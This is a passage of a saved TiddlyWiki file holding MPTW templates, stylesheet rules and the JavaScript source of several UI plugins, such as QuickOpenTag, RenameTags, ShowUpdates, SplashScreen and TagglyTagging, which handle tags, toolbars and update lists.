class=\s"editLabel\s">Tags</div><div class=\s"editor\s" macro=\s"edit tags\s"></div>",\n "<div class=\s"editorFooter\s"><span macro=\s"message views.editor.tagPrompt\s"></span><span macro=\s"tagChooser\s"></span></div>",\n "<div macro=\s"showWhenExists EditPanelTemplate\s">[[EditPanelTemplate]]</div>",\n "<div class=\s"editor\s" macro=\s"edit text\s"></div>",\n "<!--}}}-->",\n ""\n].join("\sn"),\n\n'MptwPageTemplate':[\n "<!--{{{-->",\n "<!-- http://mptw.tiddlyspot.com/#MptwPageTemplate ($Rev: 1829 $) -->",\n "<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>",\n " <div class='headerShadow'>",\n " <span class='siteTitle' refresh='content' tiddler='SiteTitle'></span> ",\n " <span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>",\n " </div>",\n " <div class='headerForeground'>",\n " <span class='siteTitle' refresh='content' tiddler='SiteTitle'></span> ",\n " <span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>",\n " </div>",\n "</div>",\n "<!-- horizontal MainMenu -->",\n "<div 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.button {",\n " border-style: none;",\n "}",\n "",\n "/* this means you can put line breaks in SidebarOptions for readability */",\n "#sidebarOptions br {",\n " display:none;",\n "}",\n "/* undo the above in OptionsPanel */",\n "#sidebarOptions .sliderPanel br {",\n " display:inline;",\n "}",\n "",\n "/* horizontal main menu stuff */",\n "#displayArea {",\n " margin: 1em 15.7em 0em 1em; /* use the freed up space */",\n "}",\n "#topMenu br {",\n " display: none;",\n "}",\n "#topMenu {",\n " background: [[ColorPalette::PrimaryMid]];",\n " color:[[ColorPalette::PrimaryPale]];",\n "}",\n "#topMenu {",\n " padding:2px;",\n "}",\n "#topMenu .button, #topMenu .tiddlyLink, #topMenu a {",\n " margin-left: 0.5em;",\n " margin-right: 0.5em;",\n " padding-left: 3px;",\n " padding-right: 3px;",\n " color: [[ColorPalette::PrimaryPale]];",\n " font-size: 115%;",\n "}",\n "#topMenu .button:hover, #topMenu .tiddlyLink:hover {",\n " background: [[ColorPalette::PrimaryDark]];",\n "}",\n "",\n "/* for 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For upgrading directly from tiddlyspot. See [[ImportTiddlers]].\nURL: /proxy/mptw.tiddlyspot.com/upgrade.html\n
For upgrading. See [[ImportTiddlers]].\nURL: http://mptw.tiddlyspot.com/upgrade.html\n
<!--{{{-->\n<!--- http://mptw.tiddlyspot.com/#MptwViewTemplate ($Rev: 1830 $) --->\n\n<div class='toolbar'>\n <span macro="showWhenTagged systemConfig">\n <span macro="toggleTag systemConfigDisable . '[[disable|systemConfigDisable]]'"></span>\n </span>\n <span style="padding:1em;"></span>\n <span macro='toolbar closeTiddler closeOthers +editTiddler deleteTiddler undoChanges permalink references jump'></span>\n <span macro='newHere label:"new here"'></span>\n <span macro='newJournalHere {{config.mptwJournalFormat?config.mptwJournalFormat:"MM/0DD/YY"}}'></span>\n</div>\n\n<div class="tagglyTagged" macro="tags"></div>\n\n<div class='titleContainer'>\n <span class='title' macro='view title'></span>\n <span macro="miniTag"></span>\n</div>\n\n<div class='subtitle'>\n <span macro='view modifier link'></span>,\n <span macro='view modified date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>\n (<span macro='message views.wikified.createdPrompt'></span>\n <span macro='view created date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>)\n</div>\n\n<div macro="showWhenExists ViewPanelTemplate">[[ViewPanelTemplate]]</div>\n\n<div macro="hideWhen tiddler.tags.containsAny(['css','html','pre','systemConfig']) && !tiddler.text.match('{{'+'{')">\n <div class='viewer' macro='view text wikified'></div>\n</div>\n<div macro="showWhen tiddler.tags.containsAny(['css','html','pre','systemConfig']) && !tiddler.text.match('{{'+'{')">\n <div class='viewer'><pre macro='view text'></pre></div>\n</div>\n\n<div macro="showWhenExists ViewDashboardTemplate">[[ViewDashboardTemplate]]</div>\n\n<div class="tagglyTagging" macro="tagglyTagging"></div>\n\n<!--}}}-->\n
/***\n| Name:|NewHerePlugin|\n| Description:|Creates the new here and new journal macros|\n| Version:|3.0 ($Rev: 1845 $)|\n| Date:|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source:|http://mptw.tiddlyspot.com/#NewHerePlugin|\n| Author:|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\n***/\n//{{{\nmerge(config.macros, {\n newHere: {\n handler: function(place,macroName,params,wikifier,paramString,tiddler) {\n wikify("<<newTiddler "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);\n }\n },\n newJournalHere: {\n handler: function(place,macroName,params,wikifier,paramString,tiddler) {\n wikify("<<newJournal "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);\n }\n }\n});\n\n//}}}\n\n
[[MonochromeTheme]]\n
/***\n| Name|QuickOpenTagPlugin|\n| Description|Changes tag links to make it easier to open tags as tiddlers|\n| Version|3.0 ($Rev: 1845 $)|\n| Date|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source|http://mptw.tiddlyspot.com/#QuickOpenTagPlugin|\n| Author|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\n***/\n//{{{\nconfig.quickOpenTag = {\n\n dropdownChar: (document.all ? "\su25bc" : "\su25be"), // the little one doesn't work in IE?\n\n createTagButton: function(place,tag,excludeTiddler) {\n // little hack so we can to <<tag PrettyTagName|RealTagName>>\n var splitTag = tag.split("|");\n var pretty = tag;\n if (splitTag.length == 2) {\n tag = splitTag[1];\n pretty = splitTag[0];\n }\n \n var sp = createTiddlyElement(place,"span",null,"quickopentag");\n createTiddlyText(createTiddlyLink(sp,tag,false),pretty);\n \n var theTag = createTiddlyButton(sp,config.quickOpenTag.dropdownChar,\n config.views.wikified.tag.tooltip.format([tag]),onClickTag);\n theTag.setAttribute("tag",tag);\n if (excludeTiddler)\n theTag.setAttribute("tiddler",excludeTiddler);\n return(theTag);\n },\n\n miniTagHandler: function(place,macroName,params,wikifier,paramString,tiddler) {\n var tagged = store.getTaggedTiddlers(tiddler.title);\n if (tagged.length > 0) {\n var theTag = createTiddlyButton(place,config.quickOpenTag.dropdownChar,\n config.views.wikified.tag.tooltip.format([tiddler.title]),onClickTag);\n theTag.setAttribute("tag",tiddler.title);\n theTag.className = "miniTag";\n }\n },\n\n allTagsHandler: function(place,macroName,params) {\n var tags = store.getTags();\n var theDateList = createTiddlyElement(place,"ul");\n if(tags.length == 0)\n createTiddlyElement(theDateList,"li",null,"listTitle",this.noTags);\n for (var t=0; t<tags.length; t++) {\n var theListItem = createTiddlyElement(theDateList,"li");\n var theLink = createTiddlyLink(theListItem,tags[t][0],true);\n var theCount = " (" + tags[t][1] + ")";\n theLink.appendChild(document.createTextNode(theCount));\n var theDropDownBtn = createTiddlyButton(theListItem," " +\n config.quickOpenTag.dropdownChar,this.tooltip.format([tags[t][0]]),onClickTag);\n theDropDownBtn.setAttribute("tag",tags[t][0]);\n }\n },\n\n // todo fix these up a bit\n styles: [\n"/*{{{*/",\n"/* created by QuickOpenTagPlugin */",\n".tagglyTagged .quickopentag, .tagged .quickopentag ",\n" { margin-right:1.2em; border:0px solid #3b3b3b; padding:2px; padding-right:0px; padding-left:1px;}",\n".quickopentag .tiddlyLink { padding:2px; padding-left:3px; }",\n".quickopentag a.button { padding:0px; padding-left:2px; padding-right:2px;}",\n"/* extra specificity to make it work right */",\n"#displayArea .viewer .quickopentag a.button, ",\n"#displayArea .viewer .quickopentag a.tiddyLink, ",\n"#mainMenu .quickopentag a.tiddyLink, ",\n"#mainMenu .quickopentag a.tiddyLink ",\n" { border:0px solid black; }",\n"#displayArea .viewer .quickopentag a.button, ",\n"#mainMenu .quickopentag a.button ",\n" { margin-left:0px; padding-left:2px; }",\n"#displayArea .viewer .quickopentag a.tiddlyLink, ",\n"#mainMenu .quickopentag a.tiddlyLink ",\n" { margin-right:0px; padding-right:0px; padding-left:0px; margin-left:0px; }",\n"a.miniTag {font-size:150%;} ",\n"#mainMenu .quickopentag a.button ",\n" /* looks better in right justified main menus */",\n" { margin-left:0px; padding-left:2px; margin-right:0px; padding-right:0px; }", \n"#topMenu .quickopentag { padding:0px; margin:0px; border:0px; }",\n"#topMenu .quickopentag .tiddlyLink { padding-right:1px; margin-right:0px; }",\n"#topMenu .quickopentag .button { padding-left:1px; margin-left:0px; border:0px; }",\n"/*}}}*/",\n ""].join("\sn"),\n\n init: function() {\n // we fully replace these builtins. can't hijack them easily\n window.createTagButton = this.createTagButton;\n config.macros.allTags.handler = this.allTagsHandler;\n config.macros.miniTag = { handler: this.miniTagHandler };\n config.shadowTiddlers["QuickOpenTagStyles"] = this.styles;\n store.addNotification("QuickOpenTagStyles",refreshStyles);\n }\n}\n\nconfig.quickOpenTag.init();\n\n//}}}\n
/***\n| Name:|RenameTagsPlugin|\n| Description:|Allows you to easily rename or delete tags across multiple tiddlers|\n| Version:|3.0 ($Rev: 1845 $)|\n| Date:|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source:|http://mptw.tiddlyspot.com/#RenameTagsPlugin|\n| Author:|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\nRename a tag and you will be prompted to rename it in all its tagged tiddlers.\n***/\n//{{{\nconfig.renameTags = {\n\n prompts: {\n rename: "Rename the tag '%0' to '%1' in %2 tidder%3?",\n remove: "Remove the tag '%0' from %1 tidder%2?"\n },\n\n removeTag: function(tag,tiddlers) {\n store.suspendNotifications();\n for (var i=0;i<tiddlers.length;i++) {\n store.setTiddlerTag(tiddlers[i].title,false,tag);\n }\n store.resumeNotifications();\n store.notifyAll();\n },\n\n renameTag: function(oldTag,newTag,tiddlers) {\n store.suspendNotifications();\n for (var i=0;i<tiddlers.length;i++) {\n store.setTiddlerTag(tiddlers[i].title,false,oldTag); // remove old\n store.setTiddlerTag(tiddlers[i].title,true,newTag); // add new\n }\n store.resumeNotifications();\n store.notifyAll();\n },\n\n storeMethods: {\n\n saveTiddler_orig_renameTags: TiddlyWiki.prototype.saveTiddler,\n\n saveTiddler: function(title,newTitle,newBody,modifier,modified,tags,fields) {\n if (title != newTitle) {\n var tagged = this.getTaggedTiddlers(title);\n if (tagged.length > 0) {\n // then we are renaming a tag\n if (confirm(config.renameTags.prompts.rename.format([title,newTitle,tagged.length,tagged.length>1?"s":""])))\n config.renameTags.renameTag(title,newTitle,tagged);\n\n if (!this.tiddlerExists(title) && newBody == "")\n // dont create unwanted tiddler\n return null;\n }\n }\n return this.saveTiddler_orig_renameTags(title,newTitle,newBody,modifier,modified,tags,fields);\n },\n\n removeTiddler_orig_renameTags: TiddlyWiki.prototype.removeTiddler,\n\n removeTiddler: function(title) {\n var tagged = this.getTaggedTiddlers(title);\n if (tagged.length > 0)\n if (confirm(config.renameTags.prompts.remove.format([title,tagged.length,tagged.length>1?"s":""])))\n config.renameTags.removeTag(title,tagged);\n return this.removeTiddler_orig_renameTags(title);\n }\n\n },\n\n init: function() {\n merge(TiddlyWiki.prototype,this.storeMethods);\n }\n}\n\nconfig.renameTags.init();\n\n//}}}\n\n
/***\n| Name|SaveCloseTiddlerPlugin|\n| Description|Provides two extra toolbar commands, saveCloseTiddler and cancelCloseTiddler|\n| Version|3.0 ($Rev: 1845 $)|\n| Date|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source|http://mptw.tiddlyspot.com/#SaveCloseTiddlerPlugin|\n| Author|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\nTo use these you must add them to the tool bar in your EditTemplate\n***/\n//{{{\nmerge(config.commands,{\n\n saveCloseTiddler: {\n text: 'done/close',\n tooltip: 'Undo changes to this tiddler and close it',\n handler: function(e,src,title) {\n config.commands.saveTiddler.handler(e,src,title);\n config.commands.closeTiddler.handler(e,src,title);\n return false;\n }\n },\n\n cancelCloseTiddler: {\n text: 'cancel/close',\n tooltip: 'Save changes to this tiddler and close it',\n handler: function(e,src,title) {\n config.commands.cancelTiddler.handler(e,src,title);\n config.commands.closeTiddler.handler(e,src,title);\n return false;\n }\n }\n\n});\n\n//}}}\n\n
/***\n|Name|ShowUpdatesPlugin|\n|Created by|SaqImtiaz|\n|Version|0.2 |\n|Requires|~TW2.x|\n!!!Description:\nAllows you to list tiddlers that have changed since the users last visit. You can list only all changed tiddlers, or filter them to only show tiddlers that have or do not have a specific tag. By default a simple list of the titles of changed tiddlers is created. However, using an extremely versatile syntax you can provide a custom template for the generated text.\n\n!!!Examples: \n[[ShowUpdatesDocs]]\n\n!!!Installation:\nCopy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.\n\n!!!Syntax:\n{{{<<showUpdates>>}}}\nadditional optional params:\n{{{<showUpdates excludeTag:TagToExclude onlyTag:TagToList maxEntries:10 write:CustomWriteParameter >>}}}\nexcludeTag: ~TagToExclude\nonlyTag: ~TagToList\nmaxEntries: max number of entries displayed when there are no updates. (default is 10, which can be changed in the config.macros.showUpdates.settings part of the code)\nwrite: if a write parameter is not provided, an un-numbered list of the updates is generated. Alternatively, you can specify a custom 'template' for the text generated. The syntax for the write parameter is identical to that of the forEachTiddler macro. Additonal documentation on this syntax will be provided soon.\nSome of the variables available in the write parameter are 'index', 'count' and 'lastVisit' where lastVisit is the date of the last visit in the format YYYYMMDDHHMM. Also areUpdates is a boolean that is true if there are new updates since the users last visit.\n\n!!!To Do:\n*refactor code to facilitate translations\n*a streamlined version without the custom write parameter\n\n\n!!!Code\n***/\n//{{{\nwindow.lewcidLastVisit = '';\nwindow.old_lewcid_whatsnew_restart = window.restart;\nwindow.restart = function()\n{\n if(config.options.txtLastVisit)\n lewcidLastVisit= config.options.txtLastVisit;\n config.options.txtLastVisit = (new Date()).convertToYYYYMMDDHHMM();\n saveOptionCookie('txtLastVisit');\n window.old_lewcid_whatsnew_restart();\n}\n\nTiddlyWiki.prototype.lewcidGetTiddlers = function(field,excludeTag,includeTag,updatesOnly)\n{\n var results = [];\n this.forEachTiddler(function(title,tiddler)\n {\n if(excludeTag == undefined || !tiddler.isTagged(excludeTag))\n if(includeTag == undefined || tiddler.isTagged(includeTag))\n if ( updatesOnly == false || tiddler.modified.convertToYYYYMMDDHHMM()>lewcidLastVisit)\n results.push(tiddler);\n });\n if(field)\n results.sort(function (a,b) {if(a[field] == b[field]) return(0); else return (a[field] < b[field]) ? -1 : +1; });\n return results;\n}\n\nconfig.macros.showUpdates={};\nconfig.macros.showUpdates.settings =\n{\n maxEntries: 10 //max items to show, if there are no updates since last visit\n}\n\nconfig.macros.showUpdates.handler = function(place,macroName,params,wikifier,paramString,tiddler)\n{\n var args = paramString.parseParams("list",null,true);\n var write = getParam(args, "write", undefined);\n var onlyTag = getParam(args, "onlyTag", undefined);\n var excludeTag = getParam(args, "excludeTag", undefined);\n var sortBy = "modified";\n var maxEntries = getParam(args,"maxEntries",this.settings.maxEntries);\n\n if (lewcidLastVisit) \n {var tiddlers = store.lewcidGetTiddlers(sortBy,excludeTag,onlyTag,true);\n var areUpdates = tiddlers.length>0? true:false;}\n\n if (!lewcidLastVisit)\n {var countLine = "!!Recent Updates:";\n var tiddlers = store.lewcidGetTiddlers(sortBy,excludeTag,onlyTag,false);\n var areUpdates = false;}\n else if (tiddlers.length == 0)\n {var countLine = "!!@@color:red;No new updates@@ since your last visit. @@color:#999;font-size:70%;" + (Date.convertFromYYYYMMDDHHMM(lewcidLastVisit)).formatString(" (DD/MM/YY)") + "@@\sn!!Recent Updates:";\n var tiddlers = store.lewcidGetTiddlers(sortBy,excludeTag,onlyTag,false);}\n else\n {var countLine ="!!@@color:red;"+ tiddlers.length + "@@ new " + (tiddlers.length==1?"update":"updates") + " since your last visit: @@color:#999;font-size:70%;" + (Date.convertFromYYYYMMDDHHMM(lewcidLastVisit)).formatString(" (DD/MM/YY)") + "@@";}\n\n tiddlers = tiddlers.reverse();\n var lastVisit = lewcidLastVisit? lewcidLastVisit:undefined;\n var count = areUpdates == true? tiddlers.length : maxEntries;\n var sp = createTiddlyElement(place,"span","showUpdates");\n if (write==undefined)\n {\n wikify(countLine,sp);\n var list = createTiddlyElement(sp,"ul");\n for (var i = 0; i < count; i++)\n {\n var tiddler = tiddlers[i];\n createTiddlyLink(createTiddlyElement(list,"li"), tiddler.title, true);\n }\n }\n else\n {\n var list = '';\n for (var index = 0; index < count; index++) {\n var tiddler = tiddlers[index];\n list += eval(write); }\n wikify(list, sp);\n }\n}\n//}}}
based on tiddlywiki
No.62 Treasure
/***\n\n''Inspired by [[TiddlyPom|http://www.warwick.ac.uk/~tuspam/tiddlypom.html]]''\n\n|Name|SplashScreenPlugin|\n|Created by|SaqImtiaz|\n|Location|http://tw.lewcid.org/#SplashScreenPlugin|\n|Version|0.21 |\n|Requires|~TW2.08+|\n!Description:\nProvides a simple splash screen that is visible while the TW is loading.\n\n!Installation\nCopy the source text of this tiddler to your TW in a new tiddler, tag it with systemConfig and save and reload. The SplashScreen will now be installed and will be visible the next time you reload your TW.\n\n!Customizing\nOnce the SplashScreen has been installed and you have reloaded your TW, the splash screen html will be present in the MarkupPreHead tiddler. You can edit it and customize to your needs.\n\n!History\n* 20-07-06 : version 0.21, modified to hide contentWrapper while SplashScreen is displayed.\n* 26-06-06 : version 0.2, first release\n\n!Code\n***/\n//{{{\nvar old_lewcid_splash_restart=restart;\n\nrestart = function()\n{ if (document.getElementById("SplashScreen"))\n document.getElementById("SplashScreen").style.display = "none";\n if (document.getElementById("contentWrapper"))\n document.getElementById("contentWrapper").style.display = "block";\n \n old_lewcid_splash_restart();\n \n if (splashScreenInstall)\n {if(config.options.chkAutoSave)\n {saveChanges();}\n displayMessage("TW SplashScreen has been installed, please save and refresh your TW.");\n }\n}\n\n\nvar oldText = store.getTiddlerText("MarkupPreHead");\nif (oldText.indexOf("SplashScreen")==-1)\n {var siteTitle = store.getTiddlerText("SiteTitle");\n var splasher='\sn\sn<style type="text/css">#contentWrapper {display:none;}</style><div id="SplashScreen" style="border: 3px solid #ccc; display: block; text-align: center; width: 320px; margin: 100px auto; padding: 50px; color:#000; font-size: 28px; font-family:Tahoma; background-color:#eee;"><b>'+siteTitle +'</b> is loading<blink> ...</blink><br><br><span style="font-size: 14px; color:red;">Requires Javascript.</span></div>';\n if (! store.tiddlerExists("MarkupPreHead"))\n {var myTiddler = store.createTiddler("MarkupPreHead");}\n else\n {var myTiddler = store.getTiddler("MarkupPreHead");}\n myTiddler.set(myTiddler.title,oldText+splasher,config.options.txtUserName,null,null);\n store.setDirty(true);\n var splashScreenInstall = true;\n}\n//}}}
[[MonochromeThemes]]\n
/***\n| Name|TagglyTaggingPlugin|\n| Description|tagglyTagging macro is a replacement for the builtin tagging macro in your ViewTemplate|\n| Version|3.0 ($Rev: 1898 $)|\n| Date|$Date: 2007-03-20 14:38:33 +1000 (Tue, 20 Mar 2007) $|\n| Source|http://mptw.tiddlyspot.com/#TagglyTaggingPlugin|\n| Author|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\n!Notes\nSee http://mptw.tiddlyspot.com/#TagglyTagging\n***/\n//{{{\nconfig.taggly = {\n\n // for translations\n lingo: {\n labels: {\n asc: "\su2191", // down arrow\n desc: "\su2193", // up arrow\n title: "title",\n modified: "modified",\n created: "created",\n show: "+",\n hide: "-",\n normal: "normal",\n group: "group",\n commas: "commas",\n sitemap: "sitemap",\n numCols: "cols\su00b1", // plus minus sign\n label: "Tagged as '%0':",\n excerpts: "excerpts",\n noexcerpts: "no excerpts"\n },\n\n tooltips: {\n title: "Click to sort by title",\n modified: "Click to sort by modified date",\n created: "Click to sort by created date",\n show: "Click to show tagging list",\n hide: "Click to hide tagging list",\n normal: "Click to show a normal ungrouped list",\n group: "Click to show list grouped by tag",\n sitemap: "Click to show a sitemap style list",\n commas: "Click to show a comma separated list",\n numCols: "Click to change number of columns"\n }\n },\n\n config: {\n showTaggingCounts: true,\n listOpts: {\n // the first one will be the default\n sortBy: ["title","modified","created"],\n sortOrder: ["asc","desc"],\n hideState: ["show","hide"],\n listMode: ["normal","group","sitemap","commas"],\n numCols: ["1","2","3","4","5","6"],\n excerpts: ["noexcerpts","excerpts"]\n },\n valuePrefix: "taggly.",\n excludeTags: ["excludeLists","excludeTagging"],\n excerptSize: 50,\n excerptMarker: "/%"+"%/"\n },\n\n getTagglyOpt: function(title,opt) {\n var val = store.getValue(title,this.config.valuePrefix+opt);\n return val ? val : this.config.listOpts[opt][0];\n },\n\n setTagglyOpt: function(title,opt,value) {\n if (!store.tiddlerExists(title))\n // create it silently\n store.saveTiddler(title,title,config.views.editor.defaultText.format([title]),config.options.txtUserName,new Date(),null);\n // if value is default then remove it to save space\n return store.setValue(title,\n this.config.valuePrefix+opt,\n value == this.config.listOpts[opt][0] ? null : value);\n },\n\n getNextValue: function(title,opt) {\n var current = this.getTagglyOpt(title,opt);\n var pos = this.config.listOpts[opt].indexOf(current);\n // a little usability enhancement. actually it doesn't work right for grouped or sitemap\n var limit = (opt == "numCols" ? store.getTaggedTiddlers(title).length : this.config.listOpts[opt].length);\n var newPos = (pos + 1) % limit;\n return this.config.listOpts[opt][newPos];\n },\n\n toggleTagglyOpt: function(title,opt) {\n var newVal = this.getNextValue(title,opt);\n this.setTagglyOpt(title,opt,newVal);\n }, \n\n createListControl: function(place,title,type) {\n var lingo = config.taggly.lingo;\n var label;\n var tooltip;\n var onclick;\n\n if ((type == "title" || type == "modified" || type == "created")) {\n // "special" controls. a little tricky. derived from sortOrder and sortBy\n label = lingo.labels[type];\n tooltip = lingo.tooltips[type];\n\n if (this.getTagglyOpt(title,"sortBy") == type) {\n label += lingo.labels[this.getTagglyOpt(title,"sortOrder")];\n onclick = function() {\n config.taggly.toggleTagglyOpt(title,"sortOrder");\n return false;\n }\n }\n else {\n onclick = function() {\n config.taggly.setTagglyOpt(title,"sortBy",type);\n config.taggly.setTagglyOpt(title,"sortOrder",config.taggly.config.listOpts.sortOrder[0]);\n return false;\n }\n }\n }\n else {\n // "regular" controls, nice and simple\n label = lingo.labels[type == "numCols" ? type : this.getNextValue(title,type)];\n tooltip = lingo.tooltips[type == "numCols" ? type : this.getNextValue(title,type)];\n onclick = function() {\n config.taggly.toggleTagglyOpt(title,type);\n return false;\n }\n }\n\n // hide button because commas don't have columns\n if (!(this.getTagglyOpt(title,"listMode") == "commas" && type == "numCols"))\n createTiddlyButton(place,label,tooltip,onclick,type == "hideState" ? "hidebutton" : "button");\n },\n\n makeColumns: function(orig,numCols) {\n var listSize = orig.length;\n var colSize = listSize/numCols;\n var remainder = listSize % numCols;\n\n var upperColsize = colSize;\n var lowerColsize = colSize;\n\n if (colSize != Math.floor(colSize)) {\n // it's not an exact fit so..\n upperColsize = Math.floor(colSize) + 1;\n lowerColsize = Math.floor(colSize);\n }\n\n var output = [];\n var c = 0;\n for (var j=0;j<numCols;j++) {\n var singleCol = [];\n var thisSize = j < remainder ? upperColsize : lowerColsize;\n for (var i=0;i<thisSize;i++) \n singleCol.push(orig[c++]);\n output.push(singleCol);\n }\n\n return output;\n },\n\n drawTable: function(place,columns,theClass) {\n var newTable = createTiddlyElement(place,"table",null,theClass);\n var newTbody = createTiddlyElement(newTable,"tbody");\n var newTr = createTiddlyElement(newTbody,"tr");\n for (var j=0;j<columns.length;j++) {\n var colOutput = "";\n for (var i=0;i<columns[j].length;i++) \n colOutput += columns[j][i];\n var newTd = createTiddlyElement(newTr,"td",null,"tagglyTagging"); // todo should not need this class\n wikify(colOutput,newTd);\n }\n return newTable;\n },\n\n createTagglyList: function(place,title) {\n switch(this.getTagglyOpt(title,"listMode")) {\n case "group": return this.createTagglyListGrouped(place,title); break;\n case "normal": return this.createTagglyListNormal(place,title,false); break;\n case "commas": return this.createTagglyListNormal(place,title,true); break;\n case "sitemap":return this.createTagglyListSiteMap(place,title); break;\n }\n },\n\n getTaggingCount: function(title) {\n // thanks to Doug Edmunds\n if (this.config.showTaggingCounts) {\n var tagCount = store.getTaggedTiddlers(title).length;\n if (tagCount > 0)\n return " ("+tagCount+")";\n }\n return "";\n },\n\n getExcerpt: function(inTiddlerTitle,title) {\n if (this.getTagglyOpt(inTiddlerTitle,"excerpts") == "excerpts") {\n var t = store.getTiddler(title);\n if (t) {\n var text = t.text.replace(/\sn/," ");\n var marker = text.indexOf(this.config.excerptMarker);\n if (marker != -1) {\n return " {{excerpt{<nowiki>" + text.substr(0,marker) + "</nowiki>}}}";\n }\n else if (text.length < this.config.excerptSize) {\n return " {{excerpt{<nowiki>" + t.text + "</nowiki>}}}";\n }\n else {\n return " {{excerpt{<nowiki>" + t.text.substr(0,this.config.excerptSize) + "..." + "</nowiki>}}}";\n }\n }\n }\n return "";\n },\n\n notHidden: function(t,inTiddler) {\n if (typeof t == "string") \n t = store.getTiddler(t);\n return (!t || !t.tags.containsAny(this.config.excludeTags) ||\n (inTiddler && this.config.excludeTags.contains(inTiddler)));\n },\n\n // this is for normal and commas mode\n createTagglyListNormal: function(place,title,useCommas) {\n\n var list = store.getTaggedTiddlers(title,this.getTagglyOpt(title,"sortBy"));\n\n if (this.getTagglyOpt(title,"sortOrder") == "desc")\n list = list.reverse();\n\n var output = [];\n var first = true;\n for (var i=0;i<list.length;i++) {\n if (this.notHidden(list[i],title)) {\n var countString = this.getTaggingCount(list[i].title);\n var excerpt = this.getExcerpt(title,list[i].title);\n if (useCommas)\n output.push((first ? "" : ", ") + "[[" + list[i].title + "]]" + countString + excerpt);\n else\n output.push("*[[" + list[i].title + "]]" + countString + excerpt + "\sn");\n\n first = false;\n }\n }\n\n return this.drawTable(place,\n this.makeColumns(output,useCommas ? 1 : parseInt(this.getTagglyOpt(title,"numCols"))),\n useCommas ? "commas" : "normal");\n },\n\n // this is for the "grouped" mode\n createTagglyListGrouped: function(place,title) {\n var sortBy = this.getTagglyOpt(title,"sortBy");\n var sortOrder = this.getTagglyOpt(title,"sortOrder");\n\n var list = store.getTaggedTiddlers(title,sortBy);\n\n if (sortOrder == "desc")\n list = list.reverse();\n\n var leftOvers = []\n for (var i=0;i<list.length;i++)\n leftOvers.push(list[i].title);\n\n var allTagsHolder = {};\n for (var i=0;i<list.length;i++) {\n for (var j=0;j<list[i].tags.length;j++) {\n\n if (list[i].tags[j] != title) { // not this tiddler\n\n if (this.notHidden(list[i].tags[j],title)) {\n\n if (!allTagsHolder[list[i].tags[j]])\n allTagsHolder[list[i].tags[j]] = "";\n\n if (this.notHidden(list[i],title)) {\n allTagsHolder[list[i].tags[j]] += "**[["+list[i].title+"]]"\n + this.getTaggingCount(list[i].title) + this.getExcerpt(title,list[i].title) + "\sn";\n\n leftOvers.setItem(list[i].title,-1); // remove from leftovers. at the end it will contain the leftovers\n\n }\n }\n }\n }\n }\n\n var allTags = [];\n for (var t in allTagsHolder)\n allTags.push(t);\n\n var sortHelper = function(a,b) {\n if (a == b) return 0;\n if (a < b) return -1;\n return 1;\n };\n\n allTags.sort(function(a,b) {\n var tidA = store.getTiddler(a);\n var tidB = store.getTiddler(b);\n if (sortBy == "title") return sortHelper(a,b);\n else if (!tidA && !tidB) return 0;\n else if (!tidA) return -1;\n else if (!tidB) return +1;\n else return sortHelper(tidA[sortBy],tidB[sortBy]);\n });\n\n var leftOverOutput = "";\n for (var i=0;i<leftOvers.length;i++)\n if (this.notHidden(leftOvers[i],title))\n leftOverOutput += "*[["+leftOvers[i]+"]]" + this.getTaggingCount(leftOvers[i]) + this.getExcerpt(title,leftOvers[i]) + "\sn";\n\n var output = [];\n\n if (sortOrder == "desc")\n allTags.reverse();\n else if (leftOverOutput != "")\n // leftovers first...\n output.push(leftOverOutput);\n\n for (var i=0;i<allTags.length;i++)\n if (allTagsHolder[allTags[i]] != "")\n output.push("*[["+allTags[i]+"]]" + this.getTaggingCount(allTags[i]) + this.getExcerpt(title,allTags[i]) + "\sn" + allTagsHolder[allTags[i]]);\n\n if (sortOrder == "desc" && leftOverOutput != "")\n // leftovers last...\n output.push(leftOverOutput);\n\n return this.drawTable(place,\n this.makeColumns(output,parseInt(this.getTagglyOpt(title,"numCols"))),\n "grouped");\n\n },\n\n // used to build site map\n treeTraverse: function(title,depth,sortBy,sortOrder) {\n\n var list = store.getTaggedTiddlers(title,sortBy);\n if (sortOrder == "desc")\n list.reverse();\n\n var indent = "";\n for (var j=0;j<depth;j++)\n indent += "*"\n\n var childOutput = "";\n for (var i=0;i<list.length;i++)\n if (list[i].title != title)\n if (this.notHidden(list[i].title,this.config.inTiddler))\n childOutput += this.treeTraverse(list[i].title,depth+1,sortBy,sortOrder);\n\n if (depth == 0)\n return childOutput;\n else\n return indent + "[["+title+"]]" + this.getTaggingCount(title) + this.getExcerpt(this.config.inTiddler,title) + "\sn" + childOutput;\n },\n\n // this if for the site map mode\n createTagglyListSiteMap: function(place,title) {\n this.config.inTiddler = title; // nasty. should pass it in to traverse probably\n var output = this.treeTraverse(title,0,this.getTagglyOpt(title,"sortBy"),this.getTagglyOpt(title,"sortOrder"));\n return this.drawTable(place,\n this.makeColumns(output.split(/(?=^\s*\s[)/m),parseInt(this.getTagglyOpt(title,"numCols"))), // regexp magic\n "sitemap"\n );\n },\n\n macros: {\n tagglyTagging: {\n handler: function (place,macroName,params,wikifier,paramString,tiddler) {\n var refreshContainer = createTiddlyElement(place,"div");\n // do some refresh magic to make it keep the list fresh - thanks Saq\n refreshContainer.setAttribute("refresh","macro");\n refreshContainer.setAttribute("macroName",macroName);\n refreshContainer.setAttribute("title",tiddler.title);\n this.refresh(refreshContainer);\n },\n\n refresh: 